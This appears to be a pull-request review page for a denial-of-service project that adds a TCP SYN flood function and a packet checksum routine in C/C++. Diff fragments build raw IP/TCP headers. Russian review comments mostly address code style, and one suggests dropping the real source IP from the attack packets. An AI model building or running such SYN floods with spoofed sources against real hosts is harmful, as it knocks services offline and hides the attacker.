feat: my_tcp_syn and checksum #8
Loading…
Reference in New Issue
No description provided.
Delete Branch "Urmipie/dos:my_tcp_syn"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
my_tcp_syn make tcp syn requests without waiting for confirmation.
@ -358,2 +366,2 @@
// Данная процедура выполняет TCP SYN Flood атаку
return 2;
unsigned short checksum(void *data, int len) {
// считай чексумму для пакета
Подробнее описание
@ -359,1 +366,3 @@
return 2;
unsigned short checksum(void *data, int len) {
// считай чексумму для пакета
auto *ptr = (uint16_t *)data;
auto нельзя. Сначала объявление (в отдельном блоке), потом - инициализация
@ -360,0 +376,4 @@
return (unsigned short)(~sum);
}
void my_tcp_syn() {
В начале каждой процедуры - развёрнутый комментарий о том, что она делает
@ -360,0 +380,4 @@
// === Инициализация переменных ===
// Сетевые сокеты
int route_sock = -1; // Сокет для определения нашего IP (инициализирован -1 как индикатор ошибки)
Сначала объявление, потом - инициализация переменных:
Структур это тоже касается.
@ -360,0 +410,4 @@
char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет для отправки
char src_ip_str[INET_ADDRSTRLEN]; // Строковое представление нашего IP
// === Основная логика функции ===
// === Основная логика процедуры ===
@ -360,0 +418,4 @@
// 1. Создаем временный UDP-сокет для определения нашего IP
if ((route_sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
perror("Ошибка создания сокета для определения IP");
status = -102; // Устанавливаем глобальный статус ошибки
Использовать разные статус-коды для разных ошибок, описания каждого кода ошибки продублировать в комментарии в начале функции
@ -360,0 +461,4 @@
// 6. Включаем режим ручного формирования IP-заголовка
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one));
// 7. Формируем IP-заголовок
Перенести в инициализацию формирование заголовков (IP, TCP)
@ -360,0 +480,4 @@
tcp_header.syn = 1; // Устанавливаем флаг SYN (запрос соединения)
tcp_header.window = htons(5840); // Размер окна
// 9. Рассчитываем контрольную сумму TCP
Это по идее инициализация -> в блок инициализации
@ -360,0 +366,4 @@
unsigned short checksum(void *data, int len) {
// рассчёт чексуммы для пакета. получает пакет и возращает проверочную сумму
uint16_t *ptr = (uint16_t *)data;
unsigned long sum = 0;
Объявление раздельно с инициализацией
@ -360,0 +372,4 @@
len -= 2;
}
if (len == 1) {
uint8_t *byte_ptr = (uint8_t *)ptr;
Это вынести из области видимости цикла в область видимости функции
@ -360,0 +385,4 @@
/*
* Отправляет TCP SYN запрос на указанный IP и порт
*
* Глобальные переменные:
Глобальные переменные сюда не надо
@ -360,0 +440,4 @@
target_port = 0;
// === Основная логика процедуры ===
target_port = htons(atoi(port.c_str()));
Это тоже инициализация
@ -360,0 +444,4 @@
// 1. Создание временного сокета
if ((route_sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
perror("Ошибка создания сокета для определения IP");
Не надо принтить
@ -360,0 +493,4 @@
ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr));
ip_header.ttl = 64;
ip_header.protocol = IPPROTO_TCP;
ip_header.saddr = src_addr.sin_addr.s_addr;
Свой IP не нужно передавать, мы же атаку пишем...
feat: add my_tcp_syn and checksum. modified main to codestyleto feat: my_tcp_syn and checksum